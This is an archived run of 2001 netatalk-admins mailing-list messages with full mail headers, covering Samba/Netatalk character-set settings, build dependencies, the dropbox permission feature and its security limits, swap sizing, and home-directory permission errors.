>    when sharing files with accented letters and with spanish-specyfical
>    symbols / letters, like "ń" and "ē" . Might it be a misconfiguration
>    or are we skipping any option in the Apple//Linux/Windows side?

On the Samba side, use

[global]
character set = iso8859-1

in the smb.conf file, and on the Netatalk end

/path/to/volume	volumename	codepage=maccode.iso8859-1

in e.g. Applevolumes.default. What's actually _way_ cooler is if you use
the mswindows option instead of the codepage. This would enforce the
same iso8859-1 (I am actually not 100% as to whether your Spanish
characters are included there; it's what I do for German umlauts) page
but also make it impossible for Mac users to create filenames containing
characters that are forbidden under Windows, such as ?:\/*<>|.
Unfortunately, I haven't come across a version of netatalk yet where
this works (and I tried most of the versions that are currently in
circulation), as the codepage support appears to be broken in all the
current snapshots. If you manage to dig up such a version, please let me
know!!! The solution with the codepage works OK for the most part here
(except my Windows box crashes sometimes when it comes across a filename
containing ':').

The most serious restricion in this Windows/Mac scenario actually is
that Samba and Netatalk use incompatible locking mechanisms to determine
whether a file is currently being accessed. This may cause havoc if a
Mac and a Windows user are trying to access the same file
simultaneously. This hasn't happende here yet, curiously. It's about 10
Macs and 5 Windows users accessing a Linux box with Netatalk/Samba which
has been running for about 6 months.

Regards, Frank

From netatalk.administrators-errors@umich.edu  Tue Feb 27 09:23:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA20499
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 09:23:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA15561
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 09:23:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA15557
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 09:23:29 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA15521
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 09:23:28 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id JAA22356;
	Tue, 27 Feb 2001 09:23:30 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A9BB7D2.FD5DC084@univrel.pr.uconn.edu>
Date: Tue, 27 Feb 2001 09:21:06 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Schierle <ts@visual-s.de>
CC: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: pre4: can not run ./config.sub
References: <B6C0A467.26090%ts@visual-s.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Schierle wrote:
> Thanks, Jean-Samuel -- I have:
> 
> /usr/share/autoconf
> /usr/share/automake
> /usr/share/aclocal
> 
> filled with all kinds of nifty stuff :-)
> in fact, there is no /usr/share/libtools directory ...
> 
> At the suse install CD, I was able to find a package named
> "libtool", (Tool to create "shared libraries"). I'll install
> right now and see if I get pre4 compiled tomorrow.
> 
> Again, thanks a lot, I for sure would not have been able
> to figure out the missing piece on my own.
> 
> -Thomas
> 
> ... a couple of minutes later: I was able to configure
> without any problems :-)))

I'll update the list of packages in the README if they aren't there
already.

jeff

From netatalk.administrators-errors@umich.edu  Tue Feb 27 15:48:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA02530
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 15:48:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA17236
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 15:48:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA17226
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 15:48:36 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA17215
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 15:48:35 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id PAA26136;
	Tue, 27 Feb 2001 15:48:32 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A9C1210.BF93CEB@univrel.pr.uconn.edu>
Date: Tue, 27 Feb 2001 15:46:08 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
CC: Chip Mefford <cmefford@avwashington.com>,
        "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>,
        Netatalk Mailing List <netatalk-admins@umich.edu>,
        netatalk-devel@lists.sourceforge.net
Subject: Re: Helping Out
References: <Pine.LNX.4.30.0102240837080.2571-100000@www.molbio.wisc.edu> <5.0.2.1.0.20010224120744.00a60ec0@127.0.0.1>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Marc J. Miller" wrote:
> >What's Dropkludge? I assume it is some kludge to mimic the
> >AppleShare Server "drop box" world write/owner rwx thingee.
> 
> That's how it started... I eventually discovered that the same permission
> handling that was preventing Dropboxes from working was also creating other
> bugs.  So I made the changes universal.  It not only maintains rwx
> permissions, but it also makes sure that every file created within a
> directory has the same owner and group as the directory itself.  That's
> what Mac expects.  Unfortunately, I've run into a couple of difficulties --
> a known security hole which is extremely well-documented on Sourceforge
> (check the DocManager) and a difficulty that when someone drops a folder
> into a dropbox, the dropped folder also becomes a dropbox, owned by whoever
> dropped it there.  That's related to the setgid being set on the dropbox
> and permission inheritance.

Sorry about the lateness of this email.

Are you saying that there are security problems inherant in matching
file permissions to directory permissions, or that there specifically a
problem with matching file permissions to directory permissions where
they are world accessable ... ?

I only ask because I was looking at making dropkludge available by
share, which may be a good idea, but also may still pose a security
concern. What's your opinion on that?

--SNIP--

> We have a TODO list in the CVS.  That seems like a good starting point...
> perhaps someone (Jeff?!) could update the bug tracker with some of the info
> there and decide what bugs are critical, what bugs could wait for now, etc.

I've been running through the bugs list, patching the ones I can, and
marking down the ones for 1.4b2 and other older versions.

If anyone else would like to help me run through the bugs list, it would
be much appreciated.

jeff

(as usual, with tremendous apologies for the cross-posting)

From netatalk.administrators-errors@umich.edu  Tue Feb 27 16:12:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA03629
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 16:12:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA17595
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 16:12:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA17576
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 16:12:26 -0500 (EST)
Received: from runner.ucdavis.edu (runner.ucdavis.edu [169.237.105.37])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA17544
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 16:12:25 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by runner.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1RLCJV00227;
	Tue, 27 Feb 2001 13:12:19 -0800 (PST)
Date: Tue, 27 Feb 2001 13:12:19 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@runner.ucdavis.edu
To: jeff <jeff@univrel.pr.uconn.edu>
cc: Chip Mefford <cmefford@avwashington.com>,
        "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>,
        Netatalk Mailing List <netatalk-admins@umich.edu>,
        netatalk-devel@lists.sourceforge.net
Subject: Re: Helping Out
In-Reply-To: <3A9C1210.BF93CEB@univrel.pr.uconn.edu>
Message-ID: <Pine.GSO.4.21.0102271309430.2940-100000@runner.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I'd say RTFM, but briefly...

There is no problem with dropbox as long as you can avoid these scenarios:

* Dropping a folder into a dropbox
* Placing data in a dropbox that you wouldn't want any user with shell
access to be able to get to.  If they can guess the file name, they can
copy it right out.  I have a feeling it's because of the file being opened
RDWR when it only needs to be opened WR.  That way I could turn off
setting the world-read bit and the file would still write correctly.  But
I haven't had a chance to try that out.

On Tue, 27 Feb 2001, jeff wrote:

> "Marc J. Miller" wrote:
> > >What's Dropkludge? I assume it is some kludge to mimic the
> > >AppleShare Server "drop box" world write/owner rwx thingee.
> > 
> > That's how it started... I eventually discovered that the same permission
> > handling that was preventing Dropboxes from working was also creating other
> > bugs.  So I made the changes universal.  It not only maintains rwx
> > permissions, but it also makes sure that every file created within a
> > directory has the same owner and group as the directory itself.  That's
> > what Mac expects.  Unfortunately, I've run into a couple of difficulties --
> > a known security hole which is extremely well-documented on Sourceforge
> > (check the DocManager) and a difficulty that when someone drops a folder
> > into a dropbox, the dropped folder also becomes a dropbox, owned by whoever
> > dropped it there.  That's related to the setgid being set on the dropbox
> > and permission inheritance.
> 
> Sorry about the lateness of this email.
> 
> Are you saying that there are security problems inherant in matching
> file permissions to directory permissions, or that there specifically a
> problem with matching file permissions to directory permissions where
> they are world accessable ... ?
> 
> I only ask because I was looking at making dropkludge available by
> share, which may be a good idea, but also may still pose a security
> concern. What's your opinion on that?
> 
> --SNIP--
> 
> > We have a TODO list in the CVS.  That seems like a good starting point...
> > perhaps someone (Jeff?!) could update the bug tracker with some of the info
> > there and decide what bugs are critical, what bugs could wait for now, etc.
> 
> I've been running through the bugs list, patching the ones I can, and
> marking down the ones for 1.4b2 and other older versions.
> 
> If anyone else would like to help me run through the bugs list, it would
> be much appreciated.
> 
> jeff
> 
> (as usual, with tremendous apologies for the cross-posting)
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Tue Feb 27 16:40:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA04483
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 16:40:29 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA19494
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 16:40:29 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA19474
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 16:40:29 -0500 (EST)
Received: from dante.kinkaid.org (dante.kinkaid.org [207.80.142.250])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA19420
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 16:40:27 -0500 (EST)
Received: from [172.16.70.70] (cmorillo.kinkaid.org [172.16.70.70])
	by dante.kinkaid.org (8.10.2/8.10.2) with ESMTP id f1RLeMu15860
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 15:40:22 -0600
User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630)
Date: Tue, 27 Feb 2001 15:40:22 -0600
Subject: Re: Quick Setup Question [offtopic]
From: C <cmorillo@kinkaid.org>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Message-ID: <B6C17AE6.4EB0%cmorillo@kinkaid.org>
In-Reply-To: <NDBBLIPGCLLELIOOICKOMEDBDKAA.heath@dave-world.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 2/25/01 3:49 PM, Heath Henderson at heath@dave-world.net wrote:

> I am getting ready to set up a few new servers.  I have been reading a lot
> lately about swap space.  One article reads keep it consistent with the
> about of Physical Ram in the machine.  So this would mean if I have 256 MB
> of Ram, I set the swap to 256.  But other articles read keep it consistent
> up to 64 MB of Ram.  Do not set Swap space higher than 64mb.
> 
> I ask,  should I set the swap size above 64 if I have say 192/256/384/512 MB
> of Ram installed? or should I make sure it sits at 64mb and nothing higher?
> I want to this right this time.
> 
> Thanks
> 
> Heath Henderson
> 
This is really more a Server-Linux question rather than a Netatalk question,
but in any case...

Linux (at least I know fer sure RH does) has a 128MB swap partition size, so
using 256MB of swap space would require you make two separate partitions of
128MB each. How much swap your machine uses, of course, will completely
depend on the usage pattern for your particular site. If it helps, I have a
file server doing Samba, Netatalk, and printing  for about 250 users, 256MB
RAM, 128MB partition for swap, and it NEVER uses it's swap space (ok, ok, it
did use 300K of swap once). If you plan on running X on these servers, that
will use lots more RAM.

A better way to guage your needs is to go to an existing server (assuming
its linux), and run vmstat (see the man pages on vmstat for explanation) at
the busiest time of the day and work from there.

C.




From netatalk.administrators-errors@umich.edu  Tue Feb 27 17:03:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05216
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 17:03:35 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA15537
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 17:03:35 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA15519
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 17:03:34 -0500 (EST)
Received: from mulchmedia.com ([204.233.247.254])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA15470
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 17:03:33 -0500 (EST)
Received: from [216.172.210.133] (HELO nirgal)
  by mulchmedia.com (CommuniGate Pro SMTP 3.1)
  with SMTP id 373520 for netatalk-admins@umich.edu; Tue, 27 Feb 2001 16:03:31 -0600
Message-ID: <001e01c0a0f8$46dd0f80$65c7a8c0@dothegood.com>
From: "Eric Hillman" <eric@dothegood.com>
To: <netatalk-admins@umich.edu>
Subject: Permissions Problems (or: Spare a clue for a newbie, guv'nor?)
Date: Tue, 27 Feb 2001 14:02:55 -0600
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

I've been wrestling with netatalk  1.5pre4 on a RH Linux 7.0 box all day,
and I'm on the verge of complete collapse here.  I imagine this is a simple
problem, but I can't seem to see it, and the documentation is somewhat, um,
oblique, particularly for those of us unfamiliar with AppleTalk to begin
with.

Anyways, after much finagling, I have finally managed to get users able to
log in and view their home directories.  Unfortunately, they can't create
files there.  The error the user gets is generally something along the lines
of "cannot create file (file locked)." with buttons for "Stop" and
"Continue".  Whichever I choose, the user can succesfully create an empty
file, which they can open, but not edit or delete (errors are usually
similar to the above although occasionally an "error -50" will occur.)

On the server, I'm getting messages like:

setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument
setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not Permitted

I'm sure it's a permission or configuration problem, but nothing I try seems
to change this behavior.  What am I missing here?

--
Eric Hillman
eric@dothegood.com



From netatalk.administrators-errors@umich.edu  Tue Feb 27 17:18:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05880
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 17:18:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA25273
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 17:18:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA25258
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 17:18:03 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA25166
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 17:18:00 -0500 (EST)
Received: (qmail 5978 invoked by uid 500); 27 Feb 2001 22:17:47 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 27 Feb 2001 22:17:47 -0000
Date: Tue, 27 Feb 2001 16:17:47 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Eric Hillman <eric@dothegood.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: Permissions Problems (or: Spare a clue for a newbie, guv'nor?)
In-Reply-To: <001e01c0a0f8$46dd0f80$65c7a8c0@dothegood.com>
Message-ID: <Pine.LNX.4.30.0102271617290.5964-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have also found this to be true...

-Dan

On Tue, 27 Feb 2001, Eric Hillman wrote:

> I've been wrestling with netatalk  1.5pre4 on a RH Linux 7.0 box all day,
> and I'm on the verge of complete collapse here.  I imagine this is a simple
> problem, but I can't seem to see it, and the documentation is somewhat, um,
> oblique, particularly for those of us unfamiliar with AppleTalk to begin
> with.
>
> Anyways, after much finagling, I have finally managed to get users able to
> log in and view their home directories.  Unfortunately, they can't create
> files there.  The error the user gets is generally something along the lines
> of "cannot create file (file locked)." with buttons for "Stop" and
> "Continue".  Whichever I choose, the user can succesfully create an empty
> file, which they can open, but not edit or delete (errors are usually
> similar to the above although occasionally an "error -50" will occur.)
>
> On the server, I'm getting messages like:
>
> setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument
> setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not Permitted
>
> I'm sure it's a permission or configuration problem, but nothing I try seems
> to change this behavior.  What am I missing here?
>
> --
> Eric Hillman
> eric@dothegood.com
>
>
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Tue Feb 27 17:19:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05946
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 17:19:29 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA27802
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 17:19:29 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA27781
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 17:19:28 -0500 (EST)
Received: from paceantipiracy.com ([198.144.205.67])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA27737
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 17:19:27 -0500 (EST)
Message-Id: <200102272219.RAA27737@easycomeeasygo.mr.itd.umich.edu>
Received: (qmail 14784 invoked from network); 27 Feb 2001 22:20:18 -0000
Received: from unknown (HELO localhost) (198.144.205.66)
  by dmz.paceap.com with SMTP; 27 Feb 2001 22:20:18 -0000
Date: Tue, 27 Feb 2001 14:19:40 -0800
From: Christopher Taylor <cstaylor@pacbell.net>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Permissions Problems (or: Spare a clue for a newbie, guv'nor?)
Cc: <netatalk-admins@umich.edu>
To: "Eric Hillman" <eric@dothegood.com>
X-Mailer: Apple Mail (2.377)
In-Reply-To: <001e01c0a0f8$46dd0f80$65c7a8c0@dothegood.com>
Mime-Version: 1.0 (Apple Message framework v377)
Content-Transfer-Encoding: 7bit

I'm also having the same problem, except I'm on Mandrake 7.2 (but it's 
also RedHat based).

-Chris

On Tuesday, February 27, 2001, at 12:02 PM, Eric Hillman wrote:

> I've been wrestling with netatalk  1.5pre4 on a RH Linux 7.0 box all 
> day,
> and I'm on the verge of complete collapse here.  I imagine this is a 
> simple
> problem, but I can't seem to see it, and the documentation is somewhat, 
> um,
> oblique, particularly for those of us unfamiliar with AppleTalk to begin
> with.
>
> Anyways, after much finagling, I have finally managed to get users able 
> to
> log in and view their home directories.  Unfortunately, they can't 
> create
> files there.  The error the user gets is generally something along the 
> lines
> of "cannot create file (file locked)." with buttons for "Stop" and
> "Continue".  Whichever I choose, the user can succesfully create an 
> empty
> file, which they can open, but not edit or delete (errors are usually
> similar to the above although occasionally an "error -50" will occur.)
>
> On the server, I'm getting messages like:
>
> setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument
> setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not Permitted
>
> I'm sure it's a permission or configuration problem, but nothing I try 
> seems
> to change this behavior.  What am I missing here?
>
> --
> Eric Hillman
> eric@dothegood.com
>
>
>

From netatalk.administrators-errors@umich.edu  Tue Feb 27 17:41:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA06732
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 17:41:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA06766
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 17:41:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA06755
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 17:41:47 -0500 (EST)
Received: from email.wm.edu (mars.wm.edu [128.239.10.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA06714
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 17:41:45 -0500 (EST)
Received: from unix1 (unix1.wm.edu [128.239.10.21])
	by email.wm.edu (2.1.2/8.9.1/Execmail 2.1) with ESMTP id RAA13792;
	Tue, 27 Feb 2001 17:41:38 -0500 (EST)
Date: Tue, 27 Feb 2001 18:00:30 -0500 (EST)
From: Rob Lineweaver <rbline@wm.edu>
To: C <cmorillo@kinkaid.org>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Quick Setup Question [offtopic]
In-Reply-To: <B6C17AE6.4EB0%cmorillo@kinkaid.org>
Message-ID: <Pine.GSO.4.10.10102271731160.26117-100000@unix1.wm.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> 
> Linux (at least I know fer sure RH does) has a 128MB swap partition size, so
> using 256MB of swap space would require you make two separate partitions of
> 128MB each. 

I know this is OT for this list, but the above statement is no longer
correct.  The swap size limitation is a kernel issue (so it is not
RH-specific), and it has been lifted since the beginning of the 2.2.x
kernel series (according to this document, the limit is now 2 GB for most
architectures: 
http://www-106.ibm.com/developerworks/library/swaptip2.html).  In other
words it has been fixed for years -- time to upgrade?

Rob Lineweaver
(happily running RH with a 300 MB swap partition, and Linux/PPC with 160
MB)



From netatalk.administrators-errors@umich.edu  Tue Feb 27 20:43:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA13019
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 20:43:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA20349
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 20:43:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA20341
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 20:43:56 -0500 (EST)
Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA20331
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 20:43:55 -0500 (EST)
Received: from [195.20.224.209] (helo=mrvdom02.schlund.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14Xvek-0003IS-00
	for netatalk-admins@umich.edu; Wed, 28 Feb 2001 02:43:54 +0100
Received: from pc19eaae0.dip0.t-ipconnect.de ([193.158.170.224])
	by mrvdom02.schlund.de with esmtp (Exim 2.12 #2)
	id 14Xvfb-0006md-00
	for netatalk-admins@umich.edu; Wed, 28 Feb 2001 02:44:48 +0100
User-Agent: Microsoft-Entourage/9.0.3108
Date: Wed, 28 Feb 2001 02:42:34 +0100
Subject: Re: Helping Out
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B6C21607.2615A%ts@visual-s.de>
In-Reply-To: <Pine.GSO.4.21.0102271309430.2940-100000@runner.ucdavis.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 01-02-27 22:12 +0100, Marc Miller <itlm019@mailbox.ucdavis.edu> wrote:

> There is no problem with dropbox as long as you can avoid these scenarios:
> 
> * Dropping a folder into a dropbox

doesn't work for ASIP as well ... therefore getting DROPCLUDGE completely
operational would add a true unique feature to netatalk :-))

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Tue Feb 27 21:15:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA13919
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 21:15:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA22689
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 21:15:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA22680
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 21:15:51 -0500 (EST)
Received: from dave-world.net (dave-world.net [204.189.73.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA22672
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 21:15:50 -0500 (EST)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id AE6426D30284; Tue, 27 Feb 2001 20:11:48 -0600
From: "Heath Henderson" <heath@dave-world.net>
To: <netatalk-admins@umich.edu>
Subject: Password Change ?
Date: Tue, 27 Feb 2001 20:20:27 -0600
Message-ID: <NDBBLIPGCLLELIOOICKOOEDODKAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <200102272219.RAA27737@easycomeeasygo.mr.itd.umich.edu>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

I am using RH 6.2 with encrypted Passwords and OS 8.6 / 9.x

